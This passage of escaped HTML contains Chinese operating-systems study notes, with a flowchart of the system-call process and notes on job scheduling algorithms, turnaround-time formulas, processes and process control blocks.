requiredFeatures=\"http://www.w3.org/TR/SVG11/feature#Extensibility\" style=\"overflow: visible; text-align: left;\"\u003e\u003cdiv xmlns=\"http://www.w3.org/1999/xhtml\" style=\"display: flex; align-items: unsafe flex-start; justify-content: unsafe center; width: 128px; height: 1px; padding-top: 87px; margin-left: 1px;\"\u003e\u003cdiv data-drawio-colors=\"color: rgb(0, 0, 0); \" style=\"box-sizing: border-box; font-size: 0px; text-align: center;\"\u003e\u003cdiv style=\"display: inline-block; font-size: 16px; font-family: Helvetica; color: rgb(0, 0, 0); line-height: 1.2; pointer-events: all; white-space: normal; overflow-wrap: normal;\"\u003e应用程序\u003c/div\u003e\u003c/div\u003e\u003c/div\u003e\u003c/foreignObject\u003e\u003ctext x=\"65\" y=\"103\" fill=\"rgb(0, 0, 0)\" font-family=\"Helvetica\" font-size=\"16px\" text-anchor=\"middle\"\u003e应用程序\u003c/text\u003e\u003c/switch\u003e\u003c/g\u003e\u003cpath d=\"M 335 60 L 335 73.63\" fill=\"none\" stroke=\"rgb(0, 0, 0)\" stroke-miterlimit=\"10\" pointer-events=\"stroke\"/\u003e\u003cpath d=\"M 335 78.88 L 331.5 71.88 L 335 73.63 L 338.5 71.88 Z\" fill=\"rgb(0, 0, 0)\" stroke=\"rgb(0, 0, 0)\" stroke-miterlimit=\"10\" pointer-events=\"all\"/\u003e\u003crect x=\"230\" y=\"30\" width=\"210\" height=\"30\" fill=\"rgb(255, 255, 255)\" stroke=\"rgb(0, 0, 0)\" pointer-events=\"all\"/\u003e\u003cg transform=\"translate(-0.5 -0.5)\"\u003e\u003cswitch\u003e\u003cforeignObject pointer-events=\"none\" width=\"100%\" height=\"100%\" requiredFeatures=\"http://www.w3.org/TR/SVG11/feature#Extensibility\" style=\"overflow: visible; text-align: left;\"\u003e\u003cdiv xmlns=\"http://www.w3.org/1999/xhtml\" style=\"display: flex; align-items: unsafe center; justify-content: unsafe center; width: 208px; height: 1px; padding-top: 45px; margin-left: 231px;\"\u003e\u003cdiv data-drawio-colors=\"color: rgb(0, 0, 0); \" style=\"box-sizing: border-box; font-size: 0px; text-align: center;\"\u003e\u003cdiv style=\"display: inline-block; font-size: 13px; font-family: Helvetica; color: rgb(0, 0, 0); line-height: 1.2; pointer-events: all; white-space: normal; overflow-wrap: normal;\"\u003e设置系统调用号和参数\u003c/div\u003e\u003c/div\u003e\u003c/div\u003e\u003c/foreignObject\u003e\u003ctext x=\"335\" y=\"49\" fill=\"rgb(0, 0, 0)\" font-family=\"Helvetica\" font-size=\"13px\" text-anchor=\"middle\"\u003e设置系统调用号和参数\u003c/text\u003e\u003c/switch\u003e\u003c/g\u003e\u003cpath d=\"M 335 110 L 335 123.63\" fill=\"none\" stroke=\"rgb(0, 0, 0)\" stroke-miterlimit=\"10\" pointer-events=\"stroke\"/\u003e\u003cpath d=\"M 335 128.88 L 331.5 121.88 L 335 123.63 L 338.5 121.88 Z\" fill=\"rgb(0, 0, 0)\" stroke=\"rgb(0, 0, 0)\" stroke-miterlimit=\"10\" pointer-events=\"all\"/\u003e\u003crect x=\"230\" y=\"80\" width=\"210\" height=\"30\" fill=\"rgb(255, 255, 255)\" stroke=\"rgb(0, 0, 0)\" pointer-events=\"all\"/\u003e\u003cg transform=\"translate(-0.5 -0.5)\"\u003e\u003cswitch\u003e\u003cforeignObject pointer-events=\"none\" width=\"100%\" height=\"100%\" requiredFeatures=\"http://www.w3.org/TR/SVG11/feature#Extensibility\" style=\"overflow: visible; text-align: left;\"\u003e\u003cdiv xmlns=\"http://www.w3.org/1999/xhtml\" style=\"display: flex; align-items: unsafe center; justify-content: unsafe center; width: 208px; height: 1px; padding-top: 95px; margin-left: 231px;\"\u003e\u003cdiv data-drawio-colors=\"color: rgb(0, 0, 0); \" style=\"box-sizing: border-box; font-size: 0px; text-align: center;\"\u003e\u003cdiv style=\"display: inline-block; font-size: 13px; font-family: Helvetica; color: rgb(0, 0, 0); line-height: 1.2; pointer-events: all; white-space: normal; overflow-wrap: normal;\"\u003e保护 CPU 现场\u003c/div\u003e\u003c/div\u003e\u003c/div\u003e\u003c/foreignObject\u003e\u003ctext x=\"335\" y=\"99\" fill=\"rgb(0, 0, 0)\" font-family=\"Helvetica\" font-size=\"13px\" text-anchor=\"middle\"\u003e保护 CPU 现场\u003c/text\u003e\u003c/switch\u003e\u003c/g\u003e\u003cpath d=\"M 335 160 L 335 173.63\" fill=\"none\" stroke=\"rgb(0, 0, 0)\" stroke-miterlimit=\"10\" pointer-events=\"stroke\"/\u003e\u003cpath d=\"M 335 178.88 L 331.5 171.88 L 335 173.63 L 338.5 171.88 Z\" fill=\"rgb(0, 0, 0)\" stroke=\"rgb(0, 0, 0)\" stroke-miterlimit=\"10\" pointer-events=\"all\"/\u003e\u003crect x=\"230\" y=\"130\" width=\"210\" height=\"30\" fill=\"rgb(255, 255, 255)\" stroke=\"rgb(0, 0, 0)\" pointer-events=\"all\"/\u003e\u003cg transform=\"translate(-0.5 -0.5)\"\u003e\u003cswitch\u003e\u003cforeignObject pointer-events=\"none\" width=\"100%\" height=\"100%\" requiredFeatures=\"http://www.w3.org/TR/SVG11/feature#Extensibility\" style=\"overflow: visible; text-align: left;\"\u003e\u003cdiv xmlns=\"http://www.w3.org/1999/xhtml\" style=\"display: flex; align-items: unsafe center; justify-content: unsafe center; width: 208px; height: 1px; padding-top: 145px; margin-left: 231px;\"\u003e\u003cdiv data-drawio-colors=\"color: rgb(0, 0, 0); \" style=\"box-sizing: border-box; font-size: 0px; text-align: center;\"\u003e\u003cdiv style=\"display: inline-block; font-size: 13px; font-family: Helvetica; color: rgb(0, 0, 0); line-height: 1.2; pointer-events: all; white-space: normal; overflow-wrap: normal;\"\u003e\u003cspan style=\"font-size: 13px ; font-style: normal ; font-weight: 400 ; letter-spacing: normal ; text-indent: 0px ; text-transform: none ; word-spacing: 0px ; background-color: rgb(255 , 255 , 255) ; text-decoration: none ; display: inline ; float: none\"\u003e查询系统调用子程序的入口地址\u003c/span\u003e\u003c/div\u003e\u003c/div\u003e\u003c/div\u003e\u003c/foreignObject\u003e\u003ctext x=\"335\" y=\"149\" fill=\"rgb(0, 0, 0)\" font-family=\"Helvetica\" font-size=\"13px\" text-anchor=\"middle\"\u003e查询系统调用子程序的入口地址\u003c/text\u003e\u003c/switch\u003e\u003c/g\u003e\u003cpath d=\"M 335 210 L 335 223.63\" fill=\"none\" stroke=\"rgb(0, 0, 0)\" stroke-miterlimit=\"10\" pointer-events=\"stroke\"/\u003e\u003cpath d=\"M 335 228.88 L 331.5 221.88 L 335 223.63 L 338.5 221.88 Z\" fill=\"rgb(0, 0, 0)\" stroke=\"rgb(0, 0, 0)\" stroke-miterlimit=\"10\" pointer-events=\"all\"/\u003e\u003crect x=\"230\" y=\"180\" width=\"210\" height=\"30\" fill=\"rgb(255, 255, 255)\" stroke=\"rgb(0, 0, 0)\" pointer-events=\"all\"/\u003e\u003cg transform=\"translate(-0.5 -0.5)\"\u003e\u003cswitch\u003e\u003cforeignObject pointer-events=\"none\" width=\"100%\" height=\"100%\" requiredFeatures=\"http://www.w3.org/TR/SVG11/feature#Extensibility\" style=\"overflow: visible; text-align: left;\"\u003e\u003cdiv xmlns=\"http://www.w3.org/1999/xhtml\" style=\"display: flex; align-items: unsafe center; justify-content: unsafe center; width: 208px; height: 1px; padding-top: 195px; margin-left: 231px;\"\u003e\u003cdiv data-drawio-colors=\"color: rgb(0, 0, 0); \" style=\"box-sizing: border-box; font-size: 0px; text-align: center;\"\u003e\u003cdiv style=\"display: inline-block; font-size: 13px; font-family: Helvetica; color: rgb(0, 0, 0); line-height: 1.2; pointer-events: all; white-space: normal; overflow-wrap: normal;\"\u003e\u003cspan style=\"font-size: 14px ; font-style: normal ; font-weight: 400 ; letter-spacing: normal ; text-indent: 0px ; text-transform: none ; word-spacing: 0px ; background-color: rgb(255 , 255 , 255) ; text-decoration: none ; display: inline ; float: none\"\u003e执行调用程序\u003c/span\u003e\u003c/div\u003e\u003c/div\u003e\u003c/div\u003e\u003c/foreignObject\u003e\u003ctext x=\"335\" y=\"199\" fill=\"rgb(0, 0, 0)\" font-family=\"Helvetica\" font-size=\"13px\" text-anchor=\"middle\"\u003e执行调用程序\u003c/text\u003e\u003c/switch\u003e\u003c/g\u003e\u003cpath d=\"M 335 260 L 335 273.63\" fill=\"none\" stroke=\"rgb(0, 0, 0)\" stroke-miterlimit=\"10\" pointer-events=\"stroke\"/\u003e\u003cpath d=\"M 335 278.88 L 331.5 271.88 L 335 273.63 L 338.5 271.88 Z\" fill=\"rgb(0, 0, 0)\" stroke=\"rgb(0, 0, 0)\" stroke-miterlimit=\"10\" pointer-events=\"all\"/\u003e\u003crect x=\"230\" y=\"230\" width=\"210\" height=\"30\" fill=\"rgb(255, 255, 255)\" stroke=\"rgb(0, 0, 0)\" pointer-events=\"all\"/\u003e\u003cg transform=\"translate(-0.5 -0.5)\"\u003e\u003cswitch\u003e\u003cforeignObject pointer-events=\"none\" width=\"100%\" height=\"100%\" requiredFeatures=\"http://www.w3.org/TR/SVG11/feature#Extensibility\" style=\"overflow: visible; text-align: left;\"\u003e\u003cdiv xmlns=\"http://www.w3.org/1999/xhtml\" style=\"display: flex; align-items: unsafe center; justify-content: unsafe center; width: 208px; height: 1px; padding-top: 245px; margin-left: 231px;\"\u003e\u003cdiv data-drawio-colors=\"color: rgb(0, 0, 0); \" style=\"box-sizing: border-box; font-size: 0px; text-align: center;\"\u003e\u003cdiv style=\"display: inline-block; font-size: 13px; font-family: Helvetica; color: rgb(0, 0, 0); line-height: 1.2; pointer-events: all; white-space: normal; overflow-wrap: normal;\"\u003e\u003cspan style=\"font-size: 14px ; font-style: normal ; font-weight: 400 ; letter-spacing: normal ; text-indent: 0px ; text-transform: none ; word-spacing: 0px ; background-color: rgb(255 , 255 , 255) ; text-decoration: none ; display: inline ; float: none\"\u003e返回结果\u003c/span\u003e\u003c/div\u003e\u003c/div\u003e\u003c/div\u003e\u003c/foreignObject\u003e\u003ctext x=\"335\" y=\"249\" fill=\"rgb(0, 0, 0)\" font-family=\"Helvetica\" font-size=\"13px\" text-anchor=\"middle\"\u003e返回结果\u003c/text\u003e\u003c/switch\u003e\u003c/g\u003e\u003cpath d=\"M 230 295 L 65 295 L 65 206.37\" fill=\"none\" stroke=\"rgb(0, 0, 0)\" stroke-miterlimit=\"10\" pointer-events=\"stroke\"/\u003e\u003cpath d=\"M 65 201.12 L 68.5 208.12 L 65 206.37 L 61.5 208.12 Z\" fill=\"rgb(0, 0, 0)\" stroke=\"rgb(0, 0, 0)\" stroke-miterlimit=\"10\" pointer-events=\"all\"/\u003e\u003cg transform=\"translate(-0.5 -0.5)\"\u003e\u003cswitch\u003e\u003cforeignObject pointer-events=\"none\" width=\"100%\" height=\"100%\" requiredFeatures=\"http://www.w3.org/TR/SVG11/feature#Extensibility\" style=\"overflow: visible; text-align: left;\"\u003e\u003cdiv xmlns=\"http://www.w3.org/1999/xhtml\" style=\"display: flex; align-items: unsafe flex-end; justify-content: unsafe center; width: 1px; height: 1px; padding-top: 292px; margin-left: 150px;\"\u003e\u003cdiv data-drawio-colors=\"color: rgb(0, 0, 0); background-color: rgb(255, 255, 255); \" style=\"box-sizing: border-box; font-size: 0px; text-align: center;\"\u003e\u003cdiv style=\"display: inline-block; font-size: 13px; font-family: Helvetica; color: rgb(0, 0, 0); line-height: 1.2; pointer-events: all; background-color: rgb(255, 255, 255); white-space: nowrap;\"\u003e返回用户态\u003c/div\u003e\u003c/div\u003e\u003c/div\u003e\u003c/foreignObject\u003e\u003ctext x=\"150\" y=\"292\" fill=\"rgb(0, 0, 0)\" font-family=\"Helvetica\" font-size=\"13px\" text-anchor=\"middle\"\u003e返回用户态\u003c/text\u003e\u003c/switch\u003e\u003c/g\u003e\u003crect x=\"230\" y=\"280\" width=\"210\" height=\"30\" fill=\"rgb(255, 255, 255)\" stroke=\"rgb(0, 0, 0)\" pointer-events=\"all\"/\u003e\u003cg transform=\"translate(-0.5 -0.5)\"\u003e\u003cswitch\u003e\u003cforeignObject pointer-events=\"none\" width=\"100%\" height=\"100%\" requiredFeatures=\"http://www.w3.org/TR/SVG11/feature#Extensibility\" style=\"overflow: visible; text-align: left;\"\u003e\u003cdiv xmlns=\"http://www.w3.org/1999/xhtml\" style=\"display: flex; align-items: unsafe center; justify-content: unsafe center; width: 208px; height: 1px; padding-top: 295px; margin-left: 231px;\"\u003e\u003cdiv data-drawio-colors=\"color: rgb(0, 0, 0); \" style=\"box-sizing: border-box; font-size: 0px; text-align: center;\"\u003e\u003cdiv style=\"display: inline-block; font-size: 13px; font-family: Helvetica; color: rgb(0, 0, 0); line-height: 1.2; pointer-events: all; white-space: normal; overflow-wrap: normal;\"\u003e\u003cspan style=\"font-size: 14px ; font-style: normal ; font-weight: 400 ; letter-spacing: normal ; text-indent: 0px ; text-transform: none ; word-spacing: 0px ; background-color: rgb(255 , 255 , 255) ; text-decoration: none ; display: inline ; float: none\"\u003e恢复 CPU 现场\u003c/span\u003e\u003c/div\u003e\u003c/div\u003e\u003c/div\u003e\u003c/foreignObject\u003e\u003ctext x=\"335\" y=\"299\" fill=\"rgb(0, 0, 0)\" font-family=\"Helvetica\" font-size=\"13px\" text-anchor=\"middle\"\u003e恢复 CPU 现场\u003c/text\u003e\u003c/switch\u003e\u003c/g\u003e\u003cpath d=\"M 120 175 L 180 175 L 180 45 L 223.63 45\" fill=\"none\" stroke=\"rgb(0, 0, 0)\" stroke-miterlimit=\"10\" pointer-events=\"stroke\"/\u003e\u003cpath d=\"M 228.88 45 L 221.88 48.5 L 223.63 45 L 221.88 41.5 Z\" fill=\"rgb(0, 0, 0)\" stroke=\"rgb(0, 0, 0)\" stroke-miterlimit=\"10\" pointer-events=\"all\"/\u003e\u003cg transform=\"translate(-0.5 -0.5)\"\u003e\u003cswitch\u003e\u003cforeignObject pointer-events=\"none\" width=\"100%\" height=\"100%\" requiredFeatures=\"http://www.w3.org/TR/SVG11/feature#Extensibility\" style=\"overflow: visible; text-align: left;\"\u003e\u003cdiv xmlns=\"http://www.w3.org/1999/xhtml\" style=\"display: flex; align-items: unsafe center; justify-content: unsafe center; width: 1px; height: 1px; padding-top: 114px; margin-left: 180px;\"\u003e\u003cdiv data-drawio-colors=\"color: rgb(0, 0, 0); background-color: rgb(255, 255, 255); \" style=\"box-sizing: border-box; font-size: 0px; text-align: center;\"\u003e\u003cdiv style=\"display: inline-block; font-size: 13px; font-family: Helvetica; color: rgb(0, 0, 0); line-height: 1.2; pointer-events: all; background-color: rgb(255, 255, 255); white-space: nowrap;\"\u003e引发中断\u003c/div\u003e\u003c/div\u003e\u003c/div\u003e\u003c/foreignObject\u003e\u003ctext x=\"180\" y=\"118\" fill=\"rgb(0, 0, 0)\" font-family=\"Helvetica\" font-size=\"13px\" text-anchor=\"middle\"\u003e引发中断\u003c/text\u003e\u003c/switch\u003e\u003c/g\u003e\u003crect x=\"10\" y=\"160\" width=\"110\" height=\"30\" fill=\"rgb(255, 255, 255)\" stroke=\"rgb(0, 0, 0)\" pointer-events=\"all\"/\u003e\u003cg transform=\"translate(-0.5 -0.5)\"\u003e\u003cswitch\u003e\u003cforeignObject pointer-events=\"none\" width=\"100%\" height=\"100%\" requiredFeatures=\"http://www.w3.org/TR/SVG11/feature#Extensibility\" style=\"overflow: visible; text-align: left;\"\u003e\u003cdiv xmlns=\"http://www.w3.org/1999/xhtml\" style=\"display: flex; align-items: unsafe center; justify-content: unsafe center; width: 108px; height: 1px; padding-top: 175px; margin-left: 11px;\"\u003e\u003cdiv data-drawio-colors=\"color: rgb(0, 0, 0); \" style=\"box-sizing: border-box; font-size: 0px; text-align: center;\"\u003e\u003cdiv style=\"display: inline-block; font-size: 13px; font-family: Helvetica; color: rgb(0, 0, 0); line-height: 1.2; pointer-events: all; white-space: normal; overflow-wrap: normal;\"\u003e执行访管指令\u003c/div\u003e\u003c/div\u003e\u003c/div\u003e\u003c/foreignObject\u003e\u003ctext x=\"65\" y=\"179\" fill=\"rgb(0, 0, 0)\" font-family=\"Helvetica\" font-size=\"13px\" text-anchor=\"middle\"\u003e执行访管指令\u003c/text\u003e\u003c/switch\u003e\u003c/g\u003e\u003cpath d=\"M 65 140 L 65 160 L 65 140 L 65 153.63\" fill=\"none\" stroke=\"rgb(0, 0, 0)\" stroke-miterlimit=\"10\" pointer-events=\"stroke\"/\u003e\u003cpath d=\"M 65 158.88 L 61.5 151.88 L 65 153.63 L 68.5 151.88 Z\" fill=\"rgb(0, 0, 0)\" stroke=\"rgb(0, 0, 0)\" stroke-miterlimit=\"10\" pointer-events=\"all\"/\u003e\u003crect x=\"10\" y=\"110\" width=\"110\" height=\"30\" fill=\"rgb(255, 255, 255)\" stroke=\"rgb(0, 0, 0)\" pointer-events=\"all\"/\u003e\u003cg transform=\"translate(-0.5 -0.5)\"\u003e\u003cswitch\u003e\u003cforeignObject pointer-events=\"none\" width=\"100%\" height=\"100%\" requiredFeatures=\"http://www.w3.org/TR/SVG11/feature#Extensibility\" style=\"overflow: visible; text-align: left;\"\u003e\u003cdiv xmlns=\"http://www.w3.org/1999/xhtml\" style=\"display: flex; align-items: unsafe center; justify-content: unsafe center; width: 108px; height: 1px; padding-top: 125px; margin-left: 11px;\"\u003e\u003cdiv data-drawio-colors=\"color: rgb(0, 0, 0); \" style=\"box-sizing: border-box; font-size: 0px; text-align: center;\"\u003e\u003cdiv style=\"display: inline-block; font-size: 13px; font-family: Helvetica; color: rgb(0, 0, 0); line-height: 1.2; pointer-events: all; white-space: normal; overflow-wrap: normal;\"\u003e系统调用\u003c/div\u003e\u003c/div\u003e\u003c/div\u003e\u003c/foreignObject\u003e\u003ctext x=\"65\" y=\"129\" fill=\"rgb(0, 0, 0)\" font-family=\"Helvetica\" font-size=\"13px\" text-anchor=\"middle\"\u003e系统调用\u003c/text\u003e\u003c/switch\u003e\u003c/g\u003e\u003c/g\u003e\u003cswitch\u003e\u003cg requiredFeatures=\"http://www.w3.org/TR/SVG11/feature#Extensibility\"/\u003e\u003ca transform=\"translate(0,-5)\" xlink:href=\"https://www.diagrams.net/doc/faq/svg-export-text-problems\" target=\"_blank\"\u003e\u003ctext text-anchor=\"middle\" font-size=\"10px\" x=\"50%\" y=\"100%\"\u003eViewer does not support full SVG 1.1\u003c/text\u003e\u003c/a\u003e\u003c/switch\u003e\u003c/svg\u003e\u003ch4 id=\"toc_95\"\u003e一般的过程调用和系统调用的区别\u003c/h4\u003e\u003ctable\u003e\u003cthead\u003e\u003ctr\u003e\u003cth align=\"center\"\u003e \u003c/th\u003e\u003cth\u003e一般过程调用\u003c/th\u003e\u003cth\u003e系统调用\u003c/th\u003e\u003c/tr\u003e\u003c/thead\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd align=\"center\"\u003e运行状态不同\u003c/td\u003e\u003ctd\u003e调用过程和被调用过程运行在相同的状态\u003c/td\u003e\u003ctd\u003e调用过程运行在用户态(算态),被调用的系统功能子程序运行在系统态(管态)\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd align=\"center\"\u003e进入方式不同\u003c/td\u003e\u003ctd\u003e可以直接由调用过程转向被调用的过程\u003c/td\u003e\u003ctd\u003e由于调用过程与被调用过程是处于不同的状态,只能通过软中断机制进入系统核心态,然后转向相应的处理子程序\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd align=\"center\"\u003e返回方式不同\u003c/td\u003e\u003ctd\u003e执行完后,直接返回调用过程继续执行\u003c/td\u003e\u003ctd\u003e在返回时需要进行一次重新的调度选择\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003ch3 id=\"toc_96\"\u003e作业管理\u003c/h3\u003e\u003ch4 id=\"toc_97\"\u003e作业\u003c/h4\u003e\u003col\u003e\u003cli\u003e\u003cstrong\u003e脱机作业\u003c/strong\u003e:用户不直接和计算机系统交互,其执行过程由操作员辅助完成。\u003c/li\u003e\u003cli\u003e\u003cstrong\u003e联机作业\u003c/strong\u003e:用户在作业执行过程中可直接和计算机系统交互(人机对话),控制执行的过程。\u003c/li\u003e\u003cli\u003e\u003cstrong\u003e处理过程\u003c/strong\u003e:输入、注册、调度、终止。\u003c/li\u003e\u003c/ol\u003e\u003ch4 id=\"toc_98\"\u003e作业的输入/输出\u003c/h4\u003e\u003col\u003e\u003cli\u003e脱机输入/输出(人工干预):输入输出机可以并行工作。\u003c/li\u003e\u003cli\u003e联机输入/输出\u003c/li\u003e\u003cli\u003e\u003cp\u003e\u003cstrong\u003eSPOOLing系统\u003c/strong\u003e(外围设备同时联机操作)\u003c/p\u003e\u003cul\u003e\u003cli\u003e兼具脱机和联机方式的优点, 可以实现联机方式下的主机和外围设备的同时工作,又称为假脱机,也即以联机的方式得到脱机的效果。\u003c/li\u003e\u003cli\u003e将一台物理 I/O 设备虚拟出多个 I/O 设备,通过缓冲区来实现多设备的并行工作。\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003c/ol\u003e\u003ch4 id=\"toc_99\"\u003e作业注册\u003c/h4\u003e\u003cp\u003e作业控制块(JCB)\u003c/p\u003e\u003col\u003e\u003cli\u003e标识信息\u003c/li\u003e\u003cli\u003e状态信息\u003c/li\u003e\u003cli\u003e调度参数\u003c/li\u003e\u003c/ol\u003e\u003ch4 id=\"toc_100\"\u003e作业调度\u003c/h4\u003e\u003col\u003e\u003cli\u003e\u003cp\u003e\u003cstrong\u003e单道批处理系统作业调度\u003c/strong\u003e\u003c/p\u003e\u003col\u003e\u003cli\u003e先来先服务调度算法(FCFS, First Come First Served)\u003c/li\u003e\u003cli\u003e\u003cstrong\u003e最短作业优先调度算法\u003c/strong\u003e(SJF, Shortest Job First)\u003c/li\u003e\u003cli\u003e\u003cp\u003e\u003cstrong\u003e最高响应比优先调度算法\u003c/strong\u003e(HRP, Highest Ratio Priority)\u003c/p\u003e\u003col\u003e\u003cli\u003e响应比即优先级\u003c/li\u003e\u003cli\u003e\u003cp\u003e\u003cstrong\u003e响应比\u003c/strong\u003e:作业响应时间 / 作业运行时间\u003c/p\u003e\u003cul\u003e\u003cli\u003e即 (作业等待时间 + 作业运行时间) / 作业运行时间\u003c/li\u003e\u003cli\u003e即 1 + (作业等待时间 / 作业运行时间)\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003c/ol\u003e\u003c/li\u003e\u003c/ol\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e\u003cstrong\u003e多道批处理系统作业调度算法\u003c/strong\u003e\u003c/p\u003e\u003col\u003e\u003cli\u003e一次可以选择多个作业同时执行(并发)。\u003c/li\u003e\u003cli\u003e优先级调度算法\u003c/li\u003e\u003cli\u003e均衡调度算法:分类和轮流服务。\u003c/li\u003e\u003c/ol\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e\u003cstrong\u003e性能分析\u003c/strong\u003e\u003c/p\u003e\u003col\u003e\u003cli\u003eCPU 利用率\u003c/li\u003e\u003cli\u003e吞吐量:单位时间内CPU完成作业的数量。(SJF 擅长)\u003c/li\u003e\u003cli\u003e周转时间:$T_i=T_\\text{完成}-T_\\text{提交}$\u003c/li\u003e\u003cli\u003e周转系数:$W_i=\\frac{T_i}{T_\\text{执行}}$\u003c/li\u003e\u003cli\u003e平均周转时间:$T=\\frac{T_1+T_2+\\cdots+T_n}{n}=\\frac{1}{n}\\sum_{i=1}^{n}T_i$\u003c/li\u003e\u003cli\u003e平均周转系数:$W=\\frac{W_1+W_2+\\cdots+W_n}{n}=\\frac{1}{n}\\sum_{i=1}^{n}W_i$\u003c/li\u003e\u003c/ol\u003e\u003c/li\u003e\u003c/ol\u003e\u003ch2 id=\"toc_101\"\u003e进程管理\u003c/h2\u003e\u003ch3 id=\"toc_102\"\u003e进程\u003c/h3\u003e\u003col\u003e\u003cli\u003e进程是程序的一次执行,该进程可与其它进程并发执行;它 是一个动态的实体,是资源的基本分配单元。\u003c/li\u003e\u003cli\u003e\u003cp\u003e与程序的区别和联系\u003c/p\u003e\u003col\u003e\u003cli\u003e\u003cp\u003e区别\u003c/p\u003e\u003col\u003e\u003cli\u003e程序是静态的,是有序代码的集合;进程是动态的,是程序的一次执行。\u003c/li\u003e\u003cli\u003e程序的永久的,没有生命周期,可长久保存;进程是暂时的,有生命周期,是一个动态不断变化的过程。\u003c/li\u003e\u003cli\u003e进程是操作系统资源分配和保护的基本单位;程序没有此功能。\u003c/li\u003e\u003cli\u003e进程与程序的结构不同。\u003c/li\u003e\u003c/ol\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e联系\u003c/p\u003e\u003col\u003e\u003cli\u003e通过多次执行,一个程序可对应多个进程;\u003c/li\u003e\u003cli\u003e通过调用关系,一个进程可包括多个程序。\u003c/li\u003e\u003c/ol\u003e\u003c/li\u003e\u003c/ol\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e组成(内存映像)\u003c/p\u003e\u003cul\u003e\u003cli\u003ePCB\u003c/li\u003e\u003cli\u003e程序\u003c/li\u003e\u003cli\u003e数据\u003c/li\u003e\u003cli\u003e工作区\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003c/ol\u003e\u003ch3 id=\"toc_103\"\u003e进程控制块(PCB)\u003c/h3\u003e\u003col\u003e\u003cli\u003e\u003cstrong\u003e定义\u003c/strong\u003e:是操作系统用来记录进程详细状态和相关信息的基本数据结构,它和进程是一一对应的,是进程存在的\u003cstrong\u003e唯一标识\u003c/strong\u003e。\u003c/li\u003e\u003cli\u003e\u003cp\u003e作用\u003c/p\u003e\u003col\u003e\u003cli\u003e提供进程的各种信息,以便操作系统查询、控制和管理。\u003c/li\u003e\u003cli\u003e进程的档案,描述进程的特征,记载进程的历史,决定进程的命运。\u003c/li\u003e\u003c/ol\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e\u003cstrong\u003e结构\u003c/strong\u003e\u003c/p\u003e\u003col\u003e\u003cli\u003e\u003cstrong\u003e标识信息\u003c/strong\u003e:唯一的标识一个进程,主要包含进程标识、用户标识、父进程标识。\u003c/li\u003e\u003cli\u003e\u003cstrong\u003e现场信息\u003c/strong\u003e:记录进程使用处理器时的各种现场信息。主要有 CPU 通用寄存器的内容、CPU 状态寄存器内容及栈指针等信息。\u003c/li\u003e\u003cli\u003e\u003cstrong\u003e控制信息\u003c/strong\u003e:操作系统对进程进行调度管理时用到的信息,主要有进程状态、调度信息、数据结构信息、队列指针、位置信息、通信信息、特权信息、存储信息等。\u003c/li\u003e\u003c/ol\u003e\u003c/li\u003e\u003cli\u003e进程控制块PCB在内存中是以\u003cstrong\u003e表\u003c/strong\u003e的形式存在的,操作系统对PCB进行集中统一的管理,所有的 PCB 集中在一个固定的存储空间上,形成了PCB表。PCB之间是以\u003cstrong\u003e双向链式队列\u003c/strong\u003e的形式关联的。\u003c/li\u003e\u003c/ol\u003e\u003ch3 id=\"toc_104\"\u003e进程的产生与消失\u003c/h3\u003e\u003col\u003e\u003cli\u003e\u003cp\u003e进程的产生\u003c/p\u003e\u003col\u003e\u003cli\u003e系统初始化\u003c/li\u003e\u003cli\u003e用户执行程序(命令,双击)\u003c/li\u003e\u003cli\u003e程序启动程序(子进程)\u003c/li\u003e\u003cli\u003e批处理系统:作业初始化\u003c/li\u003e\u003c/ol\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e进程的消失\u003c/p\u003e\u003col\u003e\u003cli\u003e寿终:运行结束而退出\u003c/li\u003e\u003cli\u003e自杀:因错误而自行终止\u003c/li\u003e\u003cli\u003e他杀:被其他进程/用户强行终止\u003c/li\u003e\u003cli\u003e处决:因异常而被系统强行终结\u003c/li\u003e\u003c/ol\u003e\u003c/li\u003e\u003c/ol\u003e\u003ch3 id=\"toc_105\"\u003e进程的执行与控制\u003c/h3\u003e\u003col\u003e\u003cli\u003e\u003cstrong\u003e进程的基本状态及其转换\u003c/strong\u003e\u003c/li\u003e\u003c/ol\u003e\u003csvg xmlns=\"http://www.w3.org/2000/svg\" xmlns:xlink=\"http://www.w3.org/1999/xlink\" version=\"1.1\" width=\"371px\" height=\"151px\" viewBox=\"-0.5 -0.5 371 151\" content=\"\u0026lt;mxfile host=\u0026quot;Electron\u0026quot; modified=\u0026quot;2022-06-21T12:44:46.997Z\u0026quot; agent=\u0026quot;5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) draw.io/19.0.3 Chrome/102.0.5005.63 Electron/19.0.3 Safari/537.36\u0026quot; etag=\u0026quot;Yg1sfU7PX2SbWQaWiSSG\u0026quot; version=\u0026quot;19.0.3\u0026quot; type=\u0026quot;device\u0026quot;\u0026gt;\u0026lt;diagram id=\u0026quot;z0JrxFd6R5Qa72TInH-X\u0026quot; name=\u0026quot;第 1 